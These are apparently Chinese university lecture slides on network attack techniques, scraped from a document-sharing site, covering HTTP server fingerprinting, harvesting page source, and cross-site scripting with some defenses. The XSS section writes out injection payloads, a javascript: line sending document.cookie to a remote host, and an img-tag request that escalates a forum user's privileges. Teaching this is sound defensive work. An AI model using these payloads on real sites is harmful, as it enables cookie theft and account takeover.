第2部分网络攻击技术.ppt

上传人:本田雅阁 文档编号:2525737 上传时间:2019-04-05 格式:PPT 页数:204 大小:1.73MB
返回 下载 相关 举报
第2部分网络攻击技术.ppt_第1页
第1页 / 共204页
第2部分网络攻击技术.ppt_第2页
第2页 / 共204页
第2部分网络攻击技术.ppt_第3页
第3页 / 共204页
亲,该文档总共204页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《第2部分网络攻击技术.ppt》由会员分享,可在线阅读,更多相关《第2部分网络攻击技术.ppt(204页珍藏版)》请在三一文库上搜索。

1、,第2章 网络攻击技术,指导教师:杨建国,2013年8月10日,2.1 信息收集技术 2.2 口令攻击 2.3 缓冲区溢出攻击 2.4 拒绝服务攻击 2.5 web应用安全攻击 2.6 恶意代码攻击 2.7 病毒蠕虫与木马攻击,第2章 网络攻击技术,2.8 网络欺骗攻击 2.9 网络钓鱼攻击 2.10 假消息攻击 2.11 网络协议攻击 2.12 操作系统攻击 2.13 远程控制攻击,2.5 web应用安全攻击,信息收集必要性 信息收集的内容 信息收集的方式 信息收集的技术,第8章 Web攻击及防御技术,张玉清,国家计算机网络入侵防范中心,8,本章内容安排,8.1 Web安全概述 8.2 We

2、b服务器指纹识别 8.3 Web页面盗窃及防御 8.4 跨站脚本攻击及防御 8.5 SQL注入攻击及防御 8.6 Google Hacking 8.7 网页验证码 8.8 防御Web攻击 8.9 小结,2019/4/5,网络入侵与防范讲义,5,8.1 Web安全概述,在Internet大众化及Web技术飞速演变的今天,在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升,以及基于Web的攻击和破坏的增长,安全风险达到了前所未有的高度。 Web安全可以从以下三个方面进行考虑: Web服务器的安全 Web客户端的安全 Web通信信道的安全,2019/4/5,网络入侵与防范讲义,6,We

3、b服务器的安全,针对Web服务器的攻击可以分为两类: 一是利用Web服务器的漏洞进行攻击,如IIS缓冲区溢出漏洞利用、目录遍历漏洞利用等; 二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等。,2019/4/5,网络入侵与防范讲义,7,Web服务器的安全(2),针对Web服务器具体的安全威胁主要体现在以下几个方面: 服务器程序编写不当导致的缓冲区溢出(Buffer Overflow)并由此导致远程代码执行。 针对服务器系统的拒绝服务攻击(Denial of Service)。 脚本程序编写不当、过滤不严格造成的数据库查询语句注入(SQL Injection),可能引起信息泄漏、文

4、件越权下载、验证绕过、远程代码执行等。 乐观相信用户输入、过滤不严导致跨站脚本攻击(Cross Site Script),在欺骗管理员的前提下,通过精心设计的脚本获得服务端Shell。,2019/4/5,网络入侵与防范讲义,8,Web客户端的安全,Web应用的迅速普及,客户端交互能力获得了极为充分的发挥,客户端的安全也成为Web安全的焦点问题。 Java Applet、ActiveX、Cookie等技术大量被使用,当用户使用浏览器查看、编辑网络内容时,采用了这些技术的应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。,2019/4/5,网络入侵与防

5、范讲义,9,Web客户端的安全(2),浏览网页所使用的浏览器存在众多已知或者未知的漏洞,攻击者可以写一个利用某个漏洞的网页,并挂上木马,当用户访问了这个网页之后,就中了木马。这就是网页木马,简称网马。 同时,跨站脚本攻击(XSS)对于客户端的安全威胁同样无法忽视,利用XSS的Web蠕虫已经在网络中肆虐过。,2019/4/5,网络入侵与防范讲义,10,Web通信信道的安全,和其他的Internet应用一样,Web信道同样面临着网络嗅探(Sniffer)和以拥塞信道、耗费资源为目的的拒绝服务攻击(Denial of Service)的威胁。,2019/4/5,网络入侵与防范讲义,11,8.1 We

6、b安全概述,OWASP的调查结果显示,对Web应用危害较大的安全问题分别是: 未验证参数 访问控制缺陷 账户及会话管理缺陷 跨站脚本攻击 缓冲区溢出 命令注入 错误处理 远程管理 Web服务器及应用服务器配置不当,2019/4/5,网络入侵与防范讲义,12,2019/4/5,网络入侵与防范讲义,13,8.2 Web服务器指纹识别,8.2.1 指纹识别理论 8.2.2 Web服务器指纹介绍 8.2.3 Web服务器Banner信息获取 8.2.4 模糊Web服务器Banner信息 8.2.5 Web服务器协议行为 8.2.6 Http指纹识别工具,8.2.1 指纹识别理论,指纹的定义是这样的:

7、一是指任何表面上的指尖印象或者是在指尖上蘸上墨水而在纸上留下的墨水印象; 二是指可以用来识别的东西:如特色、痕迹或特性等揭露起源的东西,表示物体或物质的特色的证据。,2019/4/5,网络入侵与防范讲义,14,指纹识别理论(2),指纹识别可以分为两步: 第一步是对指纹进行收集和分类; 第二步是将未知的指纹同被储存在数据库中的指纹进行比较,从而找出最符合的。,2019/4/5,网络入侵与防范讲义,15,指纹识别理论(3),当采集指纹的时候,对物体的所有主要特性的抓取是必要的。采集较多的细节,可以对指纹识别的第二步产生很大的帮助。 当比较指纹的时候,很有可能有几个指纹是被不合适匹配的,因为可指纹之

8、间微小的差别很容易使识别产生错误,这也要求指纹识别需要很高的技术。,2019/4/5,网络入侵与防范讲义,16,2019/4/5,网络入侵与防范讲义,17,8.2.2 Web服务器指纹介绍,Web服务器指纹:这个概念应用在Web服务器上,就是通过对服务器上的HTTP应用程序安装和配置等信息进行远程刺探,从而了解远程Web服务器的配置信息,然后根据不同版本的Web服务器进行有目的的攻击。 这一步骤是web应用攻击的基础过程。,Web服务器指纹介绍(2),Http指纹识别的原理大致上也是相同的:记录不同服务器对Http协议执行中的微小差别进行识别。 Http指纹识别比TCP/IP堆栈指纹识别复杂许

9、多,理由是定制Http服务器的配置文件、增加插件或组件使得更改Http的响应信息变的很容易,这样使得识别变的困难;然而定制TCP/IP堆栈的行为需要对核心层进行修改,所以就容易识别。,2019/4/5,网络入侵与防范讲义,18,2019/4/5,网络入侵与防范讲义,19,8.2.3 Web服务器Banner信息获取,Banner:旗标,或标头。这里指获取web服务器的版本、欢迎语或其它提示信息,以找出可能的有利于攻击的内容。 我们可以通过一个TCP客户端比如NetCat(NC)或者telnet与web服务器进行连接,并查看返回的应答信息。 例如:使用telnet连接80端口,然后发送get命令

10、来得到响应信息,比如下页的例子。,2019/4/5,网络入侵与防范讲义,20,telnet到80端口获得指纹信息,C:telnet 80 Get 返回结果: HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Fri, 05 Sep 2003 02:57:39 GMT Content-Type: text/html Content-Length: 87 ErrorThe parameter is incorrect. ,2019/4/5,网络入侵与防范讲义,21,telnet到80端口获得指纹信息(2),注意到下划线标记的信息,很

11、清楚的告诉我们运行的web服务器版本是Microsoft-IIS/5.0。,2019/4/5,网络入侵与防范讲义,22,8.2.3 Web服务器Banner信息获取,那么我们能否得到更多的信息呢?不同的web服务器版本信息有什么不同? 下面再以NetCat(“瑞士军刀”)为例,探测网站的Banner信息,参数为:Options * http/1.1,2019/4/5,网络入侵与防范讲义,23,获得Apache2.0.x指纹,sh-2.05b# nc 80 OPTIONS * HTTP/1.1 Host: HTTP/1.1 200 OK Date: Fri, 05 Sep 2003 02:08

12、:45 GMT Server: Apache/2.0.40 (Red Hat Linux) Allow: GET,HEAD,POST,OPTIONS,TRACE Content-Length: 0 Content-Type: text/plain; charset=ISO-8859-1,2019/4/5,网络入侵与防范讲义,24,不同服务器的指纹比较,通过Apache2.0.x和IIS5.0指纹的比较,能够很清楚判断出不同服务器返回的信息的不同。 当攻击者获得了这些指纹信息后,就可以针对不同的服务器,利用它们的漏洞进行有目的的攻击了。,2019/4/5,网络入侵与防范讲义,25,8.2.4 模

13、糊Web服务器Banner信息,为了防范查看Http应答头信息来识别Http指纹的行为,可以选择通过下面两种方法来更改或者是模糊服务器的Banner信息: 自定义Http应答头信息 增加插件 这样设置可以自动的阻止很多对Http服务器的攻击,有时也可以误导攻击者。,2019/4/5,网络入侵与防范讲义,26,自定义HTTP应答头信息,要让服务器返回不同的Banner信息的设置是很简单的,象Apache这样的开放源代码的Http服务器,用户可以在源代码里修改Banner信息,然后重起Http服务就生效了。 对于没有公开源代码的Http服务器比如微软的IIS或者是Netscape,可以在存放Ban

14、ner信息的Dll文件中修改。,2019/4/5,网络入侵与防范讲义,27,自定义HTTP应答头信息实例,下面就是一个被自定义Banner信息的Http服务器的例子,Apache服务器被自定义成了未知服务器: Http/1.1403Forbidden Date:Mon,08Sep200302:41:27GMT Server:Unknown-Webserver/1.0 Connection:close Content-Type:text/html;charset=iso-8859-1,2019/4/5,网络入侵与防范讲义,28,使用插件,另一种模糊Banner信息的方法是使用插件,这些插件可以提

15、供自定义的Http应答信息。 比如ServerMask这个商业软件就可以提供这样的功能,它是IIS服务器的一个插件,ServerMask不仅模糊了Banner信息,而且会对Http应答头信息里的项的序列进行重新组合,从而来模仿Apache这样的服务器,它甚至有能力扮演成任何一个Http服务器来处理每一个请求。 这个软件可以在以下地址找到: Http:/ Http/1.1200OK Server: YesweareusingServerMask Date:Mon,08Sep200302:54:17GMT Connection:Keep-Alive Content-Length:18273 Con

16、tent-Type:text/html Set-Cookie:Itworksoncookiestoo=82.3S3.O12.NT2R0RE,4147ON3P,.4OO.;path=/ Cache-control:private,8.2.5 Web服务器协议行为,在执行Http协议时,几乎所有的Http服务器都具有它们独特的方法,如果Http请求是合法并且规则的,Http服务器返回的应答信息是符合RFC里的描述的。 但是如果我们发送畸形的Http请求,这些服务器的响应信息就不同了,不同服务器对Http协议行为表现的不同就是Http指纹识别技术的基本根据和原理。,2019/4/5,网络入侵与防范讲

17、义,30,协议行为分析实例,我们继续来用实例说明。我们将分析3种不同Http服务对不同请求所返回的响应信息,这些请求是这样的: 1:HEAD / Http/1.0 发送基本的Http请求 2:DELETE / Http/1.0发送不被允许的请求,如Delete请求 3:GET / Http/3.0 发送一个非法版本的Http协议请求 4:GET / JUNK/1.0 发送一个不正确规格的Http协议请求,2019/4/5,网络入侵与防范讲义,31,Exp1:基本的Http请求,我们先发送请求HEAD / Http/1.0,然后分析Http响应头里的信息,对头信息里项的排序进行分析。发送的请求命

18、令如下: C:nc 80 HEAD / Http/1.0 三个服务器的响应信息参见下面三页。 比较结果:Apache头信息里的Server和Date项的排序是不同的。,2019/4/5,网络入侵与防范讲义,32,Apache1.3.23,Http/1.1200OK Date:Mon,08Sep17:10:49GMT Server:Apache/1.3.23 Last-Modified:Thu,27Feb200303:48:19GMT ETag:“32417-c4-3e5d8a83“ Accept-Ranges:bytes Content-Length:196 Connection:close

19、 Content-Type:text/html,2019/4/5,网络入侵与防范讲义,33,IIS5.0,Http/1.1200OK Server:Microsoft-IIS/5.0 Content-Location:Http:/ Date:Mon,08Sep20:13:52GMT Content-Type:text/html Accept-Ranges:bytes Last-Modified:Mon,08Sep200310:10:50GMT ETag:W/“e0d362a4c335be1:ae1“ Content-Length:133,2019/4/5,网络入侵与防范讲义,34,Netsca

20、peEnterprise4.1,Http/1.1200OK Server:Netscape-Enterprise/4.1 Date:Mon,08Sep200306:01:40GMT Content-type:text/html Last-modified:Mon,08Sep200301:37:56GMT Content-length:57 Accept-ranges:bytes Connection:close,2019/4/5,网络入侵与防范讲义,35,Exp2:HttpDELETE请求,这次,我们将发送DELETE / Http/1.0请求,我们将分析不同Http服务器对非法请求的应答信息

21、的不同。 发送的请求命令: C:nc 80 DELETE / Http/1.0 三个服务器的响应信息参见下面三页。 比较结果:Apache响应的是“405MethodNotAllowed”,IIS响应的是“403Forbidden”,Netscape响应的是“401Unauthorized”,发现对Delete请求,响应的信息是完全不同的。,2019/4/5,网络入侵与防范讲义,36,Apache1.3.23,Http/1.1 405 MethodNotAllowed Date:Mon,08Sep200317:11:37GMT Server:Apache/1.3.23 Allow:GET,H

22、EAD,POST,PUT,DELETE,CONNECT,OPTIONS,PATCH,PROPFIND,PROPPATCH, MKCOL,COPY,MOVE,LOCK,UNLOCK,TRACE Connection:close Content-Type:text/html;charset=iso-8859-1,2019/4/5,网络入侵与防范讲义,37,IIS5.0,Http/1.1 403 Forbidden Server:Microsoft-IIS/5.0 Date:Mon,08Sep200320:13:57GMT Content-Type:text/html Content-Length:

23、3184,2019/4/5,网络入侵与防范讲义,38,NetscapeEnterprise4.1,Http/1.1 401 Unauthorized Server:Netscape-Enterprise/4.1 Date:Mon,08Sep200306:03:18GMT WWW-authenticate:Basicrealm=“WebServerServer“ Content-type:text/html Connection:close,2019/4/5,网络入侵与防范讲义,39,Exp3:非法Http协议版本请求,这次我们将发送非法的Http协议版本请求,比如GET/Http/3.0请求,

24、事实上Http3.0是不存在的,发送请求命令: C:nc 80 GET / Http/3.0 响应信息见下面三页。 比较结果:Apache响应的是“400BadRequest“,IIS忽略了这个请求,响应信息是OK,还返回了网站根目录的HTML数据信息,Netscape响应的是“505HttpVersionNotSupported“。,2019/4/5,网络入侵与防范讲义,40,Apache1.3.23,Http/1.1400BadRequest Date:Mon,08Sep200317:12:37GMT Server:Apache/1.3.23 Connection:close Trans

25、fer-Encoding:chunked Content-Type:text/html;charset=iso-8859-1,2019/4/5,网络入侵与防范讲义,41,IIS5.0,Http/1.1200OK Server:Microsoft-IIS/5.0 Content-Location:Http:/ Date:Mon,08Sep200320:14:02GMT Content-Type:text/html Accept-Ranges:bytes Last-Modified:Mon,08Sep200320:14:02GMT ETag:W/“e0d362a4c335be1:ae1“ Cont

26、ent-Length:133,2019/4/5,网络入侵与防范讲义,42,NetscapeEnterprise4.1,Http/1.1505HttpVersionNotSupported Server:Netscape-Enterprise/4.1 Date:Mon,08Sep200306:04:04GMT Content-length:140 Content-type:text/html Connection:close,2019/4/5,网络入侵与防范讲义,43,Exp4:不正确规则协议请求,这次测试主要是对GET / JUNK/1.0请求的响应,发送请求命令: C:80 GET / JU

27、NK/1.0 响应信息参见下面三页。 比较结果:在这里,Apache忽视了不规则的协议“JUNK“,还返回了200“OK“和根目录的一些信息,IIS响应的是“400BadRequest“,Netscape几乎没有返回Http头信息,相反的却返回了HTML格式的信息来表明这是个错误请求。,2019/4/5,网络入侵与防范讲义,44,Apache1.3.23,Http/1.1200OK Date:Sun,15Jun200317:17:47GMT Server:Apache/1.3.23 Last-Modified:Thu,27Feb200303:48:19GMT ETag:“32417-c4-3e

28、5d8a83“ Accept-Ranges:bytes Content-Length:196 Connection:close Content-Type:text/html,2019/4/5,网络入侵与防范讲义,45,IIS5.0,Http/1.1400BadRequest Server:Microsoft-IIS/5.0 Date:Fri,01Jan199920:14:34GMT Content-Type:text/html Content-Length:87,2019/4/5,网络入侵与防范讲义,46,NetscapeEnterprise4.1, Bad request Bad reque

29、st Your browser sent a query this server could not understand. ,2019/4/5,网络入侵与防范讲义,47,测试小结,我们下面列了一个表,我们可以很简单的辨别不同的Http服务器。,2019/4/5,网络入侵与防范讲义,48,8.2.6 Http指纹识别工具,这里我们将介绍一个Http指纹识别工具Httprint,它通过运用统计学原理,组合模糊的逻辑学技术,能很有效的确定Http服务器的类型。 Httprint收集了每种http服务器在交互过程中产生的特性,将它们编码成一个固定长度的ASCII字符串,这就是Httpint签名。,2

30、019/4/5,网络入侵与防范讲义,49,Httprint的Http签名,2019/4/5,网络入侵与防范讲义,50,Httprint介绍,Httprint先把一些Http签名信息保存在一个文档里,然后分析那些由Http服务器产生的结果。 当我们发现那些没有列在数据库中的签名信息时,我们可以利用Httprint产生的报告来扩展这个签名数据库,而当Httprint下一次运行时,这些新加的签名信息也就可以使用了。,2019/4/5,网络入侵与防范讲义,51,Httprint介绍,Httprint可以图形界面运行和命令行下运行,可以运行在Windows、Linux和MacOSX平台上。 下载地址:

31、http:/- v0.301 主界面,2019/4/5,网络入侵与防范讲义,53,输出结果报告,2019/4/5,网络入侵与防范讲义,54,识别模糊的Banner信息,2019/4/5,网络入侵与防范讲义,55,2019/4/5,网络入侵与防范讲义,56,8.3 Web页面盗窃及防御,8.3.1 Web页面盗窃简介 8.3.2 逐页手工扫描 8.3.3 自动扫描 8.3.4 Web页面盗窃防御对策,2019/4/5,网络入侵与防范讲义,57,8.3.1 Web页面盗窃简介,服务器及HTTP指纹识别是为了判断服务器的类型、版本信息。 而Web页面盗窃的目的是通过对各个网页页面源码的详细分析,找出

32、可能存在于代码、注释或者设计中的关键缺陷和脆弱点,以此来确定攻击的突破点。 Web页面盗窃的两种方法:逐页手工扫描和自动扫描。,2019/4/5,网络入侵与防范讲义,58,8.3.2 逐页手工扫描,传统的Web盗窃方法是通过使用浏览器对一个Web站点上的每个网页逐页访问并查阅其源代码,以此来试图寻找Web服务器的安全漏洞。 一般而言,查看页面的Html代码可以发现不少信息,如页面使用的代码种类、页面中内嵌的脚本代码、甚至开发者或者公司的联系方式等等。 具有讽刺意义的是,往往规范化的编程风格会提供给攻击者更多的信息。因为规范的代码往往会有很多帮助性的注释,以帮助用户或者测试人员在代码运行错误时进

33、行处理。而一向的观点往往认为这样的规范的代码才是高质量的代码,如下面的例子所示。,2019/4/5,网络入侵与防范讲义,59,一个规范的HTML代码, Welcome to our home page Welcome to our wold. just a test. ,2019/4/5,网络入侵与防范讲义,60,一个规范的HTML代码,在上面的例子中,从注释中不但可以看到Web服务器的部分目录结构(/opt/html,/opt/test,/opt/cgi-bin),也可以看到文件的地址(file:/c%7c/temp/welcome.gif),以及初始口令(“justatest”)。 此外攻

34、击者也可能联系开发者的电话或邮箱(tel:xxxxx,email:)来询问关于代码的资料,而开发者往往会假定只有客户才会知道自己的联系方式,这种攻击方式被称为“社会工程”。,2019/4/5,网络入侵与防范讲义,61,逐页扫描的不足,传统的逐页扫描最大的问题在于效率太低,为了在目标站点的众多页面所包含的大量代码中找出可能的漏洞,需要攻击者的大量时间和不懈努力以及必要的攻击知识。 因此这种方式通常只被用于探测包含页面较少的Web站点。,2019/4/5,网络入侵与防范讲义,62,8.3.3 自动扫描,对于较大型的Web站点,攻击者通常是采用脚本或扫描器来自动探测可能存在的安全漏洞。 这种方法的原

35、理是逐页读取目标Web站点上的各个网页,通过搜索特定的关键字,来找出可能的漏洞。 为了实际运行的效率考虑,自动扫描往往会采取将目标Web站点镜像到本地、指定扫描条件、指定扫描细度等方法。,2019/4/5,网络入侵与防范讲义,63,自动扫描(2),由于自动扫描脚本或工具往往由那些资深攻击者开发后在网络上共享,攻击者不需要太多的攻击知识就可以使用。 这使得新出现的安全漏洞也可以为一些初级的攻击者所利用。 此外,由于自动扫描具有很高的页面处理速度,因此它对Web站点的安全性构成了极大的威胁。,2019/4/5,网络入侵与防范讲义,64,8.3.4 Web页面盗窃防御,由于Web盗窃是通过正常的We

36、b访问来试图寻找Web站点漏洞,因此无法完全屏蔽掉它。,2019/4/5,网络入侵与防范讲义,65,Web盗窃防御方法,常用的防御方法主要有4点: 提高Web页面代码的质量。不要在代码中泄漏机密信息,尽量消除代码中可能存在的安全漏洞和设计错误,并在发布Web页面前进行安全性测试; 监视访问日志中快速增长的GET请求。如果一个IP地址快速的多次请求Web页面,那么就应该怀疑是在进行自动扫描,并考虑封闭此IP地址对Web页面的访问权限;,2019/4/5,网络入侵与防范讲义,66,Web盗窃防御方法(2),在Web站点上设置garbage.cgi脚本。由于自动扫描程序是依照Web目录结构来访问的,

37、而garbage.cgi的作用就是被访问到时不停的产生垃圾页面。当然攻击者可以手工配置来避开这种脚本,但仍然可以有效的为攻击者设置障碍; 经常注意网络上新出现的web扫描脚本的攻击内容。确保其针对的安全漏洞在自己的Web站点上没有出现,对已发现的安全漏洞尽快进行修补或暂停有漏洞的页面的访问。,2019/4/5,网络入侵与防范讲义,67,Web盗窃防御方法(3),此外,Web站点维护者也可以使用一些自动扫描的脚本和工具来检验Web站点的安全性,如phfscan.c、cgiscan.c 等。,8.4 跨站脚本攻击,2019/4/5,网络入侵与防范讲义,68,8.4.1 跨站脚本攻击概述 8.4.2

38、 跨站脚本攻击过程 8.4.3 跨站脚本攻击实例 8.4.4 防御跨站脚本攻击,8.4.1 跨站脚本攻击概述,2019/4/5,网络入侵与防范讲义,69,什么是XSS攻击 跨站脚本攻击的危害 跨站脚本攻击发起条件,什么是XSS攻击,XSS是跨站脚本攻击(Cross Site Script) 。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写

39、混淆。因此人们将跨站脚本攻击缩写为XSS。,2019/4/5,网络入侵与防范讲义,70,跨站脚本攻击的危害,XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户。 一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。 例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。,2019/4/5,网络入侵与防范讲义,71,跨站脚本攻击的危害(2),由于XSS漏洞很容易在大型网站中发

40、现,在黑客圈内它非常流行。FBI.gov、CNN.com、T、Ebay、 Yahoo、Apple、Microsoft、 Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。 例如Kaspersky : http:/ Web服务器允许用户在表格或编辑框中输入不相关的字符 Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码 实现跨站脚本的攻击至少需要两个条件: 需要存在跨站脚本漏洞的web应用程序; 需要用户点击连接或者是访问某一页面。,2019/4/5,网络入侵与防范讲义,73,8.4.2 跨站脚本攻击

41、过程,寻找XSS漏洞 注入恶意代码 欺骗用户访问,2019/4/5,网络入侵与防范讲义,74,步骤一:寻找XSS漏洞,我们浏览的网页全部都是基于超文本标记语言( HTML )创建的,如显示一个超链接: baidu XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:,2019/4/5,网络入侵与防范讲义,75,寻找XSS漏洞(2),在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭和标记来构造完整无错的脚本标记: “alert(XSS);“,2019/4/

42、5,网络入侵与防范讲义,76,寻找XSS漏洞(3),把这个内容赋值给前面标记的href属性,则结果形成了 alert(XSS); baidu,2019/4/5,网络入侵与防范讲义,77,寻找XSS漏洞(4),假如要在网页里显示一张图片,那么就要使用标记,示例如下: 浏览器的任务就是解释这个img标记,访问src属性所赋的值中的URL地址并输出图片。,2019/4/5,网络入侵与防范讲义,78,寻找XSS漏洞(5),问题来了!浏览器会不会检测src属性所赋的值呢?答案是否! 那么我们就可以在这里大做文章了,接触过javascript的同学应该知道,javascript有一个URL伪协议,可以使用

43、“javascript:” 这种协议说明符加上任意的javascript代码,当浏览器装载这样的URL时,便会执行其中的代码。,2019/4/5,网络入侵与防范讲义,79,寻找XSS漏洞(6),于是我们就得出了一个经典的XSS示例: 把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。,2019/4/5,网络入侵与防范讲义,80,寻找XSS漏洞(7),在寻找XSS漏洞时,如果能看到源代码,我们主要看代码里对用户输入的地方和变量有没有做长度限制和对”、”;”和”等字符是否做过滤。 还需要注意的是对于标签的闭合,有的时候,你输入alert(test),代码是不会被

44、执行的,因为在源代码里,有其它的标签未闭合,例如少了一个。 这个时候,你只要闭合一个,代码就会执行,如你输入:alert(test),这样就可以弹出一个test的框。,2019/4/5,网络入侵与防范讲义,81,步骤二:注入恶意代码,注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。 例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等。,2019/4/5,网络入侵与防范讲义,82,注入恶意代码(2),例如,把cookie发到远程的javascript代码可以这样写: javascript:window

45、.location=http:/ window.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie。 当然,接收输入的网页可能会对,”等字符进行过滤,这时,就需要进行编码了。,2019/4/5,网络入侵与防范讲义,83,注入恶意代码(3),IE浏览器默认采用的是UNICODE编码,HTML编码可以用” 示例。,2019/4/5,网络入侵与防范讲义,84,注入恶意代码(4), /10进制转码 /16进制转码,2019/4/5,网络入侵与防范讲义,85,注入恶意代码(5),通过编码,把cookie发到远程的script可以写成: javasc

46、ript:window.location='http:/ 其中,的ASCII码是0x27。 当用户访问的网页含有这段脚本时,用户的cookie将被发送到 例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用户的权限设置为yyy。,2019/4/5,网络入侵与防范讲义,87,注入恶意代码(7),那么结合标签,我们可以构造如下攻击代码。 让用户浏览这张图片时,转去admin_user.asp页面运行,并尝试把用户xxx的权限修改为yyy。,2019/4/5,网

47、络入侵与防范讲义,88,步骤三:欺骗用户访问,当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。 并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。 欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!,2019/4/5,网络入侵与防范讲义,89,8.4.3 跨站脚本攻击实例,实例:针对论坛BBSXP的XSS攻击。 BBSXP是目前互联网上公认速度最快、系统资源占用最小的ASP论坛。 这是一款商业软件,很多企业在使用此论坛。 然而,作为广泛使用的Web程序,它的健壮性却不够强大,以至却出现很多漏洞。 在本例中,使用的BBSXP版本是V5.12。,2019/4/5,网络入侵与防范讲义,90,环境配置,系统:Windows XP SP2 + IIS 5

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1